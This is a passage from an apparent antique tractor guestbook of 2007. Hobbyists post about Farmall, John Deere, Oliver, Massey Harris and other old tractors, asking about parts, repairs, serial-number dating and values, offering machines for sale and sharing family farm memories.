help anyone.
tim moreland wrote on Sunday, October 21, 2007 (PDT):We bought a 1955, model 55 oliver gas about 5 years ago. Its a great tractor and well ahead of its time comparing to other tractors from that time, but I use it weekly to clean out the barn, and the lack of power steering the tractors not mine is getting old. I was looking at a newer tractor, and was considering a price for my tractor, but cant find anyone in my area with any Oliver knowledge. Could anyone help with that problem
JIM TROSKA wrote on Saturday, October 20, 2007 (PDT):I have a 36 or37 sk,i need a starter i think itis a autolight #mz4165,all so the traney is locked up i have it soking in diesel fuel for about three weeks and it is still tite,how do i get it loose
Lyle Sylvester wrote on Thursday, October 18, 2007 (PDT):I have a farmall cub motor, off a 1950 hay baler. Good motor. Has been stored in side. I would like 800.00 for it. 10/20/07
Andy Brubaker wrote on Thursday, October 18, 2007 (PDT):me and my dad have a G 1000 its a row crop version its a hoss you can put it up against anything and it will take it down i would defintly recomend it for any job
Andy Brubaker wrote on Thursday, October 18, 2007 (PDT):ya i ve used a 1066 on many farms and i ve covered alot of ground with one they are a good tractor but i never cared to much for the shifter linkage once those get sloppy they always wanna lock in 2 gears pretty bad other than that i think they are wonderful
John Krull wrote on Tuesday, October 16, 2007 (PDT):My Father also has some MM tractors a 602 LP 705 MF97 LP and a 1355 D. My brother is looking for a G1000 Vista LP. He is looking to farm with them again in SW Iowa. Might entertain a 1050 LP also.
robert harris wrote on Monday, October 15, 2007 (PDT):i have antique parts for a toy ford tractor it is blue in color i am in chipley, florida my cell number is 850-703-9233
Charles wrote on Sunday, October 14, 2007 (PDT):I have a 1947 Silver King Model 42. Can anyone tell me what the original tire size was for a 38 inch rim.
clay nelsen wrote on Saturday, October 13, 2007 (PDT):my dad had a 8n with the 6 cyl in it, it also had a loader on it. it had over sized tires on the rear with calcium in them. this tractor was a POWER house! it was unstopable. we lived in loveland, CO and he sold it about 6 years ago. I would love to find it again and buy it from the new owner. big mistake selling it.
Francis Willett wrote on Friday, October 12, 2007 (PDT):I have a 1948 Cub FCUB Serial #11377 that I am looking to have it fully restored as a gift for my father. Tractor was his fathers and has been garaged and runs well. Does anyone know any good restoration service people in New England Please Email me at fswillett at comcast.net. Thanks
Andy H wrote on Wednesday, October 10, 2007 (PDT):I have a 44 Massey Harris 4 cyl. I painted it but ineed the following things carb, radaitor, hand crank an maybe some cultivators Thanks
Dan Colglazier wrote on Wednesday, October 10, 2007 (PDT): Have B farmall cult.for sale---lever type -my brother still has my dads 1944 B farmall he bought new in 1944, I still mow with a farmall A and B on my farm.Ph.812-522-3449
Dayo wrote on Wednesday, October 10, 2007 (PDT):i recently purchased an imt tractor tip/god 579 No;701002879 snaga 70 o/min 2000 reg plate pej 513s and am looking for any information regarding this tractor i.e year of manufacture and registration would appreciate any info! thanks!!
Don Fleming wrote on Tuesday, October 09, 2007 (PDT):Farmall H M rpm hunting ....Bushings are worn in the governor....Replace same rpm will be stable..Same fix for other models with similar magneto/governor setup...
M Poss wrote on Monday, October 08, 2007 (PDT):I have a 1938 F-20 that i need brake cables for and also need to know how they attach to the brakeshaft. can anyone help me
Brad Stevens wrote on Sunday, October 07, 2007 (PDT):I have a 1953 Super M Diesel I would like to sell. Runs smooth and tin is good. Needs paint, tires are ok, and just some tlc. It has rear wheel weights with drawbar.
Bill Beabout wrote on Wednesday, October 03, 2007 (PDT):Looking for Farmall B for my son. My father had one which my son learned on. MO/KS area best. would like in runing condition, will do paint, tune up and minor repairs. Thanks Bill B
David James wrote on Tuesday, October 02, 2007 (PDT):I have a friend in New Zealand,who buried her fathers samson tractor,and i know where it is, it has been underground for around 40 years dose anyone one think if it is salvagable
Bill Weddle wrote on Monday, October 01, 2007 (PDT):I SAW A 44 6CYL. MASSEY HARRIS ON RFDTV THAT WAS A SPECIAL TRACTOR BUILT FOR THE ARMY. I HAVE ONE THAT MAY FIT THAT DESCRIPTION. MINE WAS USED BY THE OKLA. CONSERVATION SERVICE. IT HAS 6 CYL FLAT HEAD CONT. ENGINE LIFTING LUGS ANDTHE FRONT TIRES ARE JEEP TIRES. IT HAS FENDERS COMPLETE PLATFORM NO HYD SYSTEM 24VOLT ELECT SYSTEM.IT IS PAINTED HIGHWAY YELLOW BUT I CAN SEE SOME ARMY GREEN ON SOME OF IT AND SOME RED ON THE TRANS. IF IT IS RARE WILL SOMEONE LET ME KNOW Thanks
Garry Hanson wrote on Sunday, September 30, 2007 (PDT):My dad would like to buy a funk with a V8 in it! If you have one for sale we would like to buy it!
Ken Hess wrote on Wednesday, September 26, 2007 (PDT):I was at the Mabel, MN Steam Engine days Sep. 8th and they had a Rumely 14-28 there and also there was a quite small Rumely Oil Pull that was only about 8 ft. long. I couldn t find any details on it. I thought at first it was a Do-All but now see that it wasn t. Is there a way I could submit photos and see if anyone could identify this small Rumely Also I have a picture of another steam engine tractor that I can t identify. It is similar to a Port Huron but the name on the front of the boiler is something else that I can t read. Thanks for any assistance. Ken Hess
larry pierce wrote on Thursday, September 20, 2007 (PDT):I have a Farmall A, and am considering buying a set of cultivators that came with a Cub. Does anyone know if they will fit
John wrote on Friday, September 14, 2007 (PDT):I just bought a 1948 8N with a sherman transmission. How does that high and low work Any help please email jwaitkus at wolcottps.org
John J Hunt wrote on Friday, September 14, 2007 (PDT):My father Vearl Hunt owned a new Du-all rom about 1928 until he traded it for a 1937 or 1938 Allis Chalmers model B . I remember one evening he ran out of gasoline and used kerosene to finish plowing. I do remember it had spade lugs and would shake you to pieces. John
nick mac wrote on Wednesday, September 12, 2007 (PDT):we are restoring a 1939 f-20 how can we, if its possible, change it from crank to eletric start any help/ ideas would be greatly appreciated it is an FFA project THANK YOU
Chris wrote on Wednesday, September 12, 2007 (PDT):This was one of the first tractors I learned to use. I was nine years old 30 years ago , helping my grandfather on our family dairy farm. I since have taken over the farm and still use this fine old tractor on a daily basis. It s never had an overhaul or any major work, except for a clutch a couple of times. Allis Chalmers forever ! ! !
Perry Wilhite wrote on Tuesday, September 11, 2007 (PDT):I have a ford 2000 offset for sale.
Rick wrote on Monday, September 10, 2007 (PDT):My Dad had a tractor like this only his had a wide front end and we used it,becauase it was the only tractor we had at the time. We farmed 160 acres with it the first year or two we he had it then we seeded everything down to hay and pasture and baled a lot of hay with this tractor. It was was a real good little tractor I really enjoyed running it. Dad has sold it,and I don t where it went to. I don t know what year it was,but I think it was a 1964 model 201,but I m not real sure. I would like to find this tractor again if I could!
Roy W. Davis wrote on Sunday, September 09, 2007 (PDT):I have a 1952 8N Ford 6 cylinder. runs good, lift works , tractor is clean and tight. Make me an offer, I will send pictuires to anyone interested.
Russel Lueras wrote on Sunday, September 09, 2007 (PDT):I have a 8n tractor. I was using it and it became stuck in 1st gear. I opened up the top and got it to nuetral. But even in nuetral you can push the tractor and it stops like it is trying to pop into gear. Or if you drive it it shifts gears fine but makes a loud clunking noise. Please HELP
tom d. wrote on Saturday, September 08, 2007 (PDT):my 47 cub is getting hot right after it starts up does sound like a head
GARY wrote on Friday, September 07, 2007 (PDT):FUNK AIRCRAFT IN WITCHAW KS, MADE CONVERSON KIT TO INSTALL 6CYL ENG. WAS FEW 8.INSTALED SEVERAL .
Kami Garner wrote on Thursday, September 06, 2007 (PDT):My Mother has a 1937 F20 Farmall that doesn t run and the tires are no good. It is all rusty and it has a Buckhorn cast iron seat on it. Can you tell me what the value might be or where I could find it. She is needing to get rid of it. Thank you.
Matthew Kramlich wrote on Wednesday, September 05, 2007 (PDT):My father in-law has a Rock Island model G, not a G-2. I believe it was built in either 27 or 28. It has the Waukesha engine that is cradled in engine frame rails. I have done a bit of research on this model and I get the impression that the G model is extremely rare. Does anyone out there have an estimate on the value of this tractor It has not run in a long time and needs complete restoration, but the entire tractor is complete minus the magneto on the engine. Otherwise nothing is missing.
Bob Vredenburgh wrote on Wednesday, September 05, 2007 (PDT):When I use the hand lever to engage the pto there is serious grinding. With engine off the pto engages easily. The fluid level is ok. The owners manual says use 10w-30 oil, 8 gal. Any suggestions. The machine is a 1961 2010 and I am the 2nd owner, I think its a great tractor!
Ted Grice wrote on Tuesday, September 04, 2007 (PDT):I have an unrestored lindeman crawler that ran good when I parked it in the shed about 20 years ago. I ll sell it to the higest bidder.
Rich St.Petery wrote on Tuesday, September 04, 2007 (PDT):Does anyone have an engine for a 60/62-3 OC46 Gass 3 cyl. herculese Where how much
jeremy diggs wrote on Monday, September 03, 2007 (PDT):iI am looking for 2 pistons and rods for an 8-16 if you have them or know where i can get them please e mail me or call me at 501-844-0822 thank you
Dave Barker wrote on Friday, August 31, 2007 (PDT):I have a 1945 VAIW. It was brought into a little town in B.C. Canada to work in a sawmill shunting box cars. The mill cut box shook used for making the old wooden apple boxes. It stayed there until the 60 s when they quit making wooden boxes and shut the mill down. The local town bought it and put a hokey blade on it controlled with a hand winch. It was used to plow snow off the side walks and the local ice rink. There is a picture in Tractor Photos
Kay Schmitt wrote on Monday, August 27, 2007 (PDT):I have a 1948 E3 Co-op tractor. My husband passed away last Oct and planning to restore this tractor this last winter. It has been shedded for 13 yrs. He had it running 2 years ago. It is in good shape. Does anyone know what it might be worth. Thanks Kay Schmitt
Everett C. Smith wrote on Sunday, August 26, 2007 (PDT):My Father in-law, Herman Lawson Of Portland, Ind. was a Minneapolis Moline dealer for many years. I can remember plowing for him eith a G-1000. Due to my inexperience I scorched the clutch by using too high gear, it just would not pull down. I just ran across a set of toys he had given my daughters for Christmas, a G-1000, 4 btm. plow, disk, gravity wagon and machinery shed. Sure brings back memories. E. C. Smith
Dick Witmer wrote on Saturday, August 25, 2007 (PDT):I have 2 super 55 tractors. One is a 1955 diesel that my Dad bought new. The other is a 1957 gas that I bought more than 10 years ago. I have a lot of memories on the diesel. I am finally getting it back together. Hope to have it running in the next few weeks. Someone should still be building these tractors today.
S.J. Kinser wrote on Friday, August 24, 2007 (PDT):i have a 1952 john deere R new paint, new seat, new tires around ,cabbed with new glass runs great priced at 7,000 and have two 20.8 x 34 inch firestone 23 degree 1/3 tread left great for pulling tractors 300 hundred each my number is 276-988-3827
jerome namaste wrote on Wednesday, August 22, 2007 (PDT):I purchesed IHC 300U about a year ago and did not haave any serious problems until recently. It had been converted from 6 to 12 volt system and it is now gone thru its second starter in a week. replaced the selenoid and all the wiring and cables. I Think it is a 55. I paid 5000 for the tractor and 8 implements and it has down pressure on both the busket and the three point.Any help would be greatly appreciated. Jerry in Bennett Wi
Jack wrote on Monday, August 20, 2007 (PDT):We have a ZB that was new in 1955. The wheels were yellow when it was new. Does anybody else have one that had new yellow wheels We use Minny everyday. Love her.
jerry fjelsted wrote on Sunday, August 19, 2007 (PDT):i have two f20 for sale both complete but stuck ,will sell for 900.00
jerry fjelsted wrote on Sunday, August 19, 2007 (PDT):i have two f20 for sale both complete but stuck ,will sell for 900.00
WAYNE CLAYBORNE wrote on Sunday, August 19, 2007 (PDT):wanted to buy farmall BV CV HV MV AV HIGHCROP ANY SHAPE WAYNE CLAYBORNE 7403922805 7403922800
wayne clayborne wrote on Sunday, August 19, 2007 (PDT):WANTED TO BUY FARMALL MV HV AV CV ANY SHAPE WAYNE CLAYBORNE 7403922805 7403922800 MT.VERNON OHIO
wayne clayborne wrote on Sunday, August 19, 2007 (PDT):wanted to buy farmall highcrop hc mv av cv any shape wayne clayborne mt. vernon ohio 7403922805 7403922800
Jim wrote on Thursday, August 16, 2007 (PDT):Steve, My Email is jpkchg at comcast.net Jim
Jim wrote on Thursday, August 16, 2007 (PDT):Steve, I have a freind looking for two fenders for a 70 rc. Can you send me your contact info so I can pass it along to him if you still have them for sale Thanks. Jim
Kyle wrote on Thursday, August 16, 2007 (PDT):there was no paint code for regulars. The paint was navy surplus from WW1. There were hundreds of suppliers, and no specs for paint on those ships other than grey . So the regulars were everything from almost white to black with all hues, tints, and shades in between. I have personnally seen the blue regular, and it has been explained as weathering of the grey paint supplied by the DuPont people circa 1914-1917. My Regular was purchased new in 1929,by my grandfather. It still runs like a top, and is all ORIGINAL! Some great sources of info on these old ones is the nebraska tractor tests. I found out alot from visiting old folks homes,retirement centers, and quiering the retired farmers. Theres lots of books on them too!
kevin scott wrote on Thursday, August 16, 2007 (PDT):i have an 1939 m farmall that i pull it has a gas head on it but i have figured out the fuel mixture so that i can run diesel through it horse power wise it help about 10 horse
RICHARD F SPRAGUE wrote on Tuesday, August 14, 2007 (PDT):LOOK FOR, 3 POINT HITCH OR ANY PARTS OR ANYTHING,THAT WOUID GO ON D-10 AC. THANK YOU
Wayne Niccum wrote on Tuesday, August 14, 2007 (PDT):Hello, does the lady named vickie still have all those V8 flatheads where are you located thank you for your time. also looking for a ford two roll planter. thanks, wayne niccum in Indiana
bert nichols wrote on Monday, August 13, 2007 (PDT):I have a 1948 AC G for sale - good shape - been restored - asking 7500
Jerry wrote on Friday, August 10, 2007 (PDT):I just purchased a 44 Special with a Massey Harris front loader. It runs great. We farmed with two 44 s back in the 50 s. One was gas and the other diesel. I have wanted a 44 for years and came across this close to home.
Irene Macadie wrote on Friday, August 10, 2007 (PDT):My husband has just purchased a Pony which is French Built it has no registration needing an age related number can anyone help with where we would get chassis number etc. Thanks
Nick Edward wrote on Thursday, August 09, 2007 (PDT):My name is Nick Edward I am 13 and just bough my second antique tractor, an Oliver 60. I was wondering if the oliver sixty could be started by crank and if it could does the staff were the crank would rest on or fit into extends out of the tractor. I do not no to much about the tractor so I would appreciate any information about the tractor itself.
Bruce Miller, New York wrote on Sunday, August 05, 2007 (PDT):I just purchased a Farmall M serial no. FBK56603. Does anyone know what year this is. Thanks.
Casey S. wrote on Saturday, August 04, 2007 (PDT):In response to Justin... Your Model M Serial number 232450 was built in 1950.
Dan Cleaves wrote on Saturday, August 04, 2007 (PDT):I recently found an old farmall along the Ohio River. It is blue faded gray and is either and F-20 or F-30. It is on private property, has snake skins in the radiator cap opening and so grown over I can barely get a tape measure back into it but the valve cover measures 20 long. Is the valve cover longer on the F-30 If it s a 30 I ll probably make a run at the owner about selling it.
bhavani mandalapu wrote on Friday, August 03, 2007 (PDT):WHICH MODEL OF JOHN-DEERE TRACTOR COMPANY IS RUNNIG IN INDIA
bhavani mandalapu wrote on Friday, August 03, 2007 (PDT):WHICH MODEL OF JOHN-DEERE TRACTOR COMPANY IS RUNNIG IN INDIA
bhavani mandalapu wrote on Friday, August 03, 2007 (PDT):WHICH MODEL OF JOHN-DEERE TRACTOR COMPANY IS RUNNIG IN INDIA
Tom H wrote on Thursday, August 02, 2007 (PDT):I have a 1949 Case LA that I want to sell. It runs, but does need some work. The carburation needs some TLC and the radiator has a leak. I originally bought it in the hopes of doing some farming, however, I do not have enough water rights to irrigate the acreage that I have. Overall, the tractor is in good condition, pto works, has 3 implements to go with it as well. TCHIII at dishmail.net
GILBERT CAIN wrote on Thursday, August 02, 2007 (PDT):I am looking a AC G for sale. Gilbert from Elizabethtown NC. AUGUST 2 2007
Andy Dutkiewicz wrote on Thursday, August 02, 2007 (PDT):My dad owns a 1951 B and I grew up on this tractor, plowing snow and working the garden but I have always wanted a John Deere G . I have always loved the sound of the two cylinder engine and agree there is no other soundlike it in the world. One guy said JD owns are kinda like Harley owners and I could not agree more! One day hope to restore a Unstyled G . Keep the messages coming!
Mark Bird wrote on Tuesday, July 31, 2007 (PDT):I have a photo of a Case DI with armor plating around the operators platform. Case produced for the military.
Larry Kellner wrote on Tuesday, July 31, 2007 (PDT):I have a sickle mower, but the wood parts have rotted, and a plow. Where can I find a buyer Larry in Strafford, MO.
Ronnie Martinek wrote on Monday, July 30, 2007 (PDT):i use to own 2 farmall B s and they are good tractors they can burn all day on 5 gallon of gas the most important thing u need to know about theese tractors is dont leave them out in the weather too long or else u may find water mix into the oil in ure transmission somehow rain gets into there keep them iside a shed if not in use for a while.
Hector Lalonde wrote on Monday, July 30, 2007 (PDT):For Kumaran Spaulding;I have a 1952 Case DI and had the same problem.I since have installed road grader rims size 10x24.Also looking for complete engine,if you have tips on where to find one.705-235-3827 Canada
John wrote on Saturday, July 28, 2007 (PDT):We got an 1925 Hard parr and we r looking to sell it. How much can i get for it
Bill Bailey wrote on Thursday, July 26, 2007 (PDT):My family has a 1938 Case, model C that my grandfather bought new. I grew riding and driving it but the engine locked up a few years ago and it s been sitting in our wagon shed, but we think we can free it with some diesel in the cylinders. I m looking for fenders as I plan to restore it.
redkev wrote on Wednesday, July 25, 2007 (PDT): Have 1943 H would like lighter frontend, is there any help
marion g hughs wrote on Wednesday, July 25, 2007 (PDT):i overhaled my first 720 diesel 2weeks ago enjoyed it 2500 hundred dollars and am looking for another. hove a 70 diesel for sale complete over haul . want another 720
julie lon wrote on Saturday, July 21, 2007 (PDT):Hi--Dad recently restored an F-20...we believe it was one of the first ones...any idea how we find the value
Carolyn Harouff wrote on Saturday, July 21, 2007 (PDT):We have the manual ony to a MMZ for the universal standard. Would like to know the year made and then what would the manual be worth. Also have a combine and manual for the harvestor model H3. Need to know the year and value.
Robert Sisk,Gurley Ala. wrote on Friday, July 20, 2007 (PDT):Wrote on Friday,July 20,2007.I have a farmall m 1948,also super a 1953, super h 1953, farmall h 1950,farmall h 1940,farmall m 1950, 656 farmall 1957. I like red. Will leave collection to grandson ,cory sisk.
Duncan Manor wrote on Thursday, July 19, 2007 (PDT):Have 1947 Silver King Model 42 and looking for gasket kit, front/rear seals, steering wheel, and fenders. Any information would be helpful.
Tom Townsend wrote on Wednesday, July 18, 2007 (PDT):I learned to drive on a Wallis as a 11 year old in 1942 in Midnapore, Aberta. With the shortage of men during the war, kids were, Enlisted to do a mans work. My how times have changed.
hfsahfjashjf wrote on Monday, July 16, 2007 (PDT):Dick Hargett you should try maple hunter decals.
Dave G. wrote on Friday, July 13, 2007 (PDT):I have two detroit diesels for sale 871 and 671. Western PA area, if interested call 412-481-3219 thanks
Gary-Miss wrote on Friday, July 13, 2007 (PDT):I mentioned fours years ago, I think, that my brother owned the F-14 my dad bought new in September of 1939 for 900.00 plus dollars with cultivator and 141.00 for John Deers # 5 mower, As of two days ago, I am the proud owner of that F-14. It s the only one I know of with a road gear . Now, I have to make arrangements to get it from North Missouri to Mississippi. As long as I have been trying tp get it, transport shouldn t be a problem. Part of the deal is, I have to have it restored within a year and send my brother a big picture. I ve restored an LA John Deere, a 40 John Deere and a 8N Ford within the past 18 months. I have to freshen up my A Farmall also. It s kind of rare, with ser # FRA 128.
Adam Albers wrote on Thursday, July 12, 2007 (PDT):I am looking for a Farmall B to restore. If anyone has one that you are selling, drop me a line. My address is; mario714 at hotmail. com Thanks
scott b. wrote on Thursday, July 12, 2007 (PDT):can anyone help me find manuals brochures, literature on a Z series model ZM. yes, ZM. they were used for military and very few made. my relative has one restored and i would like to get some things as gifts. any help would be appreciated.scott
Steve wrote on Thursday, July 12, 2007 (PDT):I have 2 Oliver row crop 70. 1 is a parts tractor the other I am trying to restore. The block is cracked and I am having a hard time finding a motor or motor parts. Im stuck. If you have any suggestions or ideas please email me. Any info would be greatly appreciated. I also have extra parts for sale if anyone is intersted. I have spoke rims, fenders, rolling chassie, rough sheet metal. Thanks
Ned Montano wrote on Wednesday, July 11, 2007 (PDT):I recently rebuilt a model l , inherited from my deceased father in law from Milwakee wi. the model Lwas brought from the Milwakee area somewhere in the 50s or maybe early sixties to Albuquerque New Mexico where it sat for about 35 years after my father in laws passing.The serial no.is intact and so are some of the implements with which I need help to understand as how they attatched This is my first experience with tractors . Since this restoration , I have perchused another Model L 1938 with top side transmission shift , serial no. in excellent condtion ,and all parts someone took it apart to start rebuilding and evidently gave up ., along with a 1944 Model H in fair running condtion. can some one out there tell me if I am starting to bleed green or help me to acquire some more of these green hunks of to replenish my loss of green
Miike Donnelly wrote on Sunday, July 08, 2007 (PDT):I m looking for a belly mower for a B Model tractor, or rear mount PTO linkage for brush hog. Massachusetts
Frank Naeger wrote on Friday, July 06, 2007 (PDT):Looking for seat, spring, shock, mounting brakets, any and all parts to put back together right. Thanks Frank
Linden Utsey wrote on Friday, July 06, 2007 (PDT):I am still looking for some pictures of the F-20.I have a new decal set for my tractor but don t know where some of them go.Any help would be appreciated. linden.utsey at sbcglobal.net
Todd Moodispaugh wrote on Wednesday, July 04, 2007 (PDT):I have a 1950 MM mod.ZA,I am looking for a set of fenders for it,I would take either side or both.I would prefer close to southeastern ohio as possible.If anyone can help us out please call 740 667-0644.
Bob Nickles wrote on Wednesday, July 04, 2007 (PDT):Would like to find a cicle mower for a 50 cub, must be in good shape, preferably in the mid Missouri area.
Marc Lopez wrote on Monday, July 02, 2007 (PDT):Anyone have any newer info on these Looks like a really neat crawler. So how much do they really sell for
Walt Taufen wrote on Saturday, June 30, 2007 (PDT):Where can I find parts to rebuild the OHV Continental 6 in a Massey 44-6 email me at wtaufen at clearwire dot net. God Bless.
Justin wrote on Friday, June 29, 2007 (PDT):I have a Model M Serial #232450 What year was this built
Justin wrote on Friday, June 29, 2007 (PDT):I have a Model M Serial #232450 What year was this built
Ralph Beals wrote on Friday, June 29, 2007 (PDT):As a teen in the late 50 s our neighbor had a SD3 that I did some farming with. This tractor is now located at Ft. Recovery, OH and I see it occasionally at the Tri State Engine and Tractor show in Portland, IN. It brings back a lot of good memories to see the same tractor I used 50+ years ago.
Scott Glover wrote on Thursday, June 28, 2007 (PDT):Would be interested in buying implements that attach to and are used on an AC G. I have seen about everything hooked up to one of these little fellows and would like to have some to attach to mine if anyone has any for sale. Would be particularly interested in a corn planter with fertilizer attachment. Please provide price and pictures if you have them. Scott from Owensville, IN.
Scott Glover wrote on Thursday, June 28, 2007 (PDT):I have two AC G tractors with cultivators. Both tractors have always been owned by my family. I would like to sell one of the tractors. I used both of them to farm melons in Southern Indiana. Both run and are in field condition. I overhauled engine on one including new pistons, rings, rod and main bearings when I acquired it from my uncle. Rear tires on both tractors are in near new condition. Will entertain reasonable offer for either tractor. Scott from Owensville IN.
Tom Hogue wrote on Tuesday, June 26, 2007 (PDT): I need a rear sprocket for a 1958 oc 4-3d
Peter wrote on Tuesday, June 26, 2007 (PDT):I m Looking for a JD model LA in good condition. My family use to have one on their farm in Quechee, VT. Cee, 508-826-2526
Buster wrote on Monday, June 25, 2007 (PDT):Please help me find My F-20! Last seen in good shape in western PA. It has highway tires and a 3 speed trans. Motor and frame # don t match. it is about a 36 or 37.
Ray B wrote on Sunday, June 24, 2007 (PDT):WILL SOMEONE PLEASE TELL ME HOW TO REMOVE THE HOOD ON A 1951 OR 1952 FORD TRACTOR...
David Trobaugh wrote on Sunday, June 24, 2007 (PDT):We are looking for a head for a Supes MD with the valves . The serial number is f44682 Email us if you know where we can get one.
Sherry Galloway wrote on Sunday, June 24, 2007 (PDT):My tinkerman husband came home yesterday with an old Massey Ferguson 35 tractor. We need to know how old it is. He bought it from a man that said he bought it used 34 years ago For novice tractor tinkertypes, any ideas By looking at old pics, I think it s from the 1950 s.
Larry wrote on Friday, June 22, 2007 (PDT):Does anyone know if a Farmall B about a 46 model , came with a square seat and backrest
Victor R. Harris wrote on Friday, June 22, 2007 (PDT):I posted a note on Jan 7, 2005 when my dad and I were still rebuilding our 1937 Z. We got it done and running by fall of 2005. Runs great. I lost my dad 80 Years old on July 31 2006. A week before he died we were still working on the tractor making final adjustments. Dad was in a wheel chair and loved that old 1937 MM Z. So do I.
RALPH K wrote on Tuesday, June 19, 2007 (PDT):I wish this were the year 1950 again !!!!!!!!!!
TR wrote on Tuesday, June 19, 2007 (PDT):I just started working on an oliver row crop 70 it is in great condition. what is the best way to get the moter started also is there any thing important that i should know about before trying to start it IMPORTANT Thanks Please feel free to email
Linden Utsey wrote on Sunday, June 17, 2007 (PDT):I am about ready to paint a Farmall F-20.I need a picture to show me where the original decals were .Maybe a close up shot if anyone has one.Thanks.
Tom Groff wrote on Sunday, June 17, 2007 (PDT):Does any know if thay stell make new engines for the 8n ford tractor
John Osborne wrote on Saturday, June 16, 2007 (PDT):Picture of F-20 and thresher; steel wheels, etc. Let me know if you can tell me the age from the photograph; email me to receive the photograph.
Dick Brown wrote on Saturday, June 16, 2007 (PDT):how do you determine the year of an IH Farmall M tractor have one with one front wheel serial #FBK 275021X1
Bruce Voigts wrote on Friday, June 15, 2007 (PDT):I have a l951 Massey Harris D. I took it to the tractor pull a few years ago--it did fine. I also had it on the dynamoe and I think it was 53 horsepower. I really enjoy it as my mom and dad purchased it the same year I was born.
Jim R. wrote on Wednesday, June 13, 2007 (PDT): I have a 1947 Ford Tractor 2n fair condition and I would like to know how much it is worth. Thank you.
Chris wrote on Monday, June 11, 2007 (PDT):I have a MM 706 that I m trying to sell for my Dad. It was all tuned up and running when parked over 5 years ago. It will probably need some attention before it ll fire up again. Call me at 951 925-0103 for more info and pictures if interested. Thanks. Chris
Dale Amo wrote on Monday, June 11, 2007 (PDT): I have a Farmall regular it doesn t run and needs paint. I have people asking to buy it but i dont know what its worth. If anybody out there kinda knows what its worth please let me know. thank you
cihangir yavuz wrote on Monday, June 11, 2007 (PDT):MY NAME S CHANGR .I am 24 years old and I live in Eskisehir from Turkey.Ihave got 44 MASSEY HARRS 1948.It is very strong tractor as same as anather classes.ALways I drive it. I love that tractor.
perry smith wrote on Saturday, June 09, 2007 (PDT):i have what i think is a W4 or O4,the serial number tag is missing the only numbers i have is the serial number on the motor DBHM-12325 can anyone help with info.
andy wrote on Saturday, June 09, 2007 (PDT):My dad had put a small block chevy on his mothers 44-6 in 1972 after the engine blew up. He and i pulled it out of the shed after sitting for 25 years. First time i got to drive it.
mike wrote on Wednesday, June 06, 2007 (PDT):hi, i have a 1948 case via and lookig for a grille and some other parts can someone help. thanks
Mike wrote on Tuesday, June 05, 2007 (PDT):Does anyone know how to turn up the fuel pump on a 1954 oliver 88 diesel
alene wrote on Tuesday, June 05, 2007 (PDT):I m trying to get an approximate value on an 1952 Ford 8N Tractor, excellent condition, electric start
Mike wrote on Tuesday, June 05, 2007 (PDT):I am looking for a narrow front end for a 1954 oliver 88 diesel. If anyone knows where i can get one in pennsylvania please let me know.
Rich Cabe wrote on Sunday, June 03, 2007 (PDT):Can anyone give me the measurements and weight of the 22-36 McCormick Deering. I ran one 50 years ago on my Grandpa s wheat farm in Montanta.
Zachary Oursler wrote on Sunday, June 03, 2007 (PDT):It is my 3 favorite.
Craig MN wrote on Sunday, June 03, 2007 (PDT):Johnny red, I have 2 Ms, 42,46. 46 has been converted to live hydraulics at the magneto drive. They used the filler hole in the orig. tank as a return port, I have some seepage but it works great. I have also seen people add a tank near the battery, you can not have belt pulley drive on though. If you do this you can also use the belly pump to power something if need be. My 46 has a 3pt conversion and a trip bucket, I have added some ball valves so I can direct hyd. pressure forward or aft as needed, if my belly pump was still operation I would be able to use it for my 3 pt.
Karen wrote on Saturday, June 02, 2007 (PDT):I live in Kentucky. I have a JD L that was passed down to me by my uncle. I absolutley loved this tractor when I was growing up. But I have no use for it and would like to sell it. I can email pictures if anyone is interested.
Melanie Anderson wrote on Thursday, May 31, 2007 (PDT):I have a 1948 Farmall Cub tractor with belly mower and some plow attatchments for sale in the Middle TN area. Starts with ease and runs good. This was my grandfather s tractor and we are moving to an area where it cannot follow. Email me for pictures and offers.
John Bushouse wrote on Thursday, May 31, 2007 (PDT):I bought my neglected 1959 550 diesel in 1979. We repaired everything and have been using it for all our hobby farm utilities. Over the years we have bought a full complement of tools including rototiller, bushog and a 15KW PTO driven generator in 1982 after a 7-day power outage. That is where this tractor really shines. We can run everything we need to and this tractor sips diesel as low as 3/4 gallon per hour. In 1998 we rebuilt the PTO clutch. That is the last time we spent any significant dollars on it. We take care of it and it takes care of us. Its a family friend.
Wayne wrote on Tuesday, May 29, 2007 (PDT):I am interested in a MF-97 4x4 and am located in western NY State, have never heard of or seen one for sale in NY or on the east coast--does anyone know of any in this area Thanks! Would like to use it for working on my farm
Norman wrote on Tuesday, May 29, 2007 (PDT):HI i had an MF 97 and looking for parts of this MF. Can anyone help me Im from germany. thanks
BOB wrote on Saturday, May 26, 2007 (PDT):HI SEEN A AC160 AT A AUCTION TODAY. LOOKS LIKE A NEAT TRACTOR. ANYONE OUT THERE KNOW WHAT A AVERAGE TRACTOR IS WORTH THANKS
Melanie Gann wrote on Friday, May 25, 2007 (PDT):I was at a swap meet a month ago and seen one sell for 150. I thought it was too cheap!
Chuck wrote on Friday, May 25, 2007 (PDT):I have been corrected to know that my tractor is a 1941 Farmall B. It is for sale in N.E. Ohio. Email for details.
MATT HUNTER wrote on Friday, May 25, 2007 (PDT):I AM WORKING ON MY BOSSES 9N TRACTOR THE WIRE KEEPS SHORTING OUT AND IS MAKING FRUSTRATING TO WORK ON CAN ANYONE SEND ME A WIREING DIAGRAM
Lane Saarloos wrote on Wednesday, May 23, 2007 (PDT): I have a 8n with a Wagner trip lever style front loader. I have heard it referred to as a parachute style because you almost have to jump on to the tractor seat while holding each fender.I need to replace the 2pivot pins where the loader rotates on the frame of the loader. Can any one point me in right direction to replace these parts
golf cart wrote on Wednesday, May 23, 2007 (PDT):The moddle you have is a Farmall AV it was widely used in Califonia and Florida, the v in the name has been believed to be vegitable and it has the high clearence for the vegetable reason.
golf cart wrote on Wednesday, May 23, 2007 (PDT):the name McCormick-Deering Farmall was changed in 1949 after the Farmall MD in 1948
Vicki wrote on Tuesday, May 22, 2007 (PDT):I have 12 Ford V8 Flatheads and I am trying to figure out how much they may be worth. If anyone can help me I would greatly appreciate it.
Ryan wrote on Monday, May 21, 2007 (PDT):My Grandpa bought a Massey-Harris 44 gas brand new in 1950. Since then its been overhauled twice, but to this day it runs and works like a charm. I love that tractor and there s no way I d get rid of that tractor for my life. It was used for a year to thresh in 1950. I still can t figure out the make of the thresher. I plan to restore the 44 Massey someday hopefully.
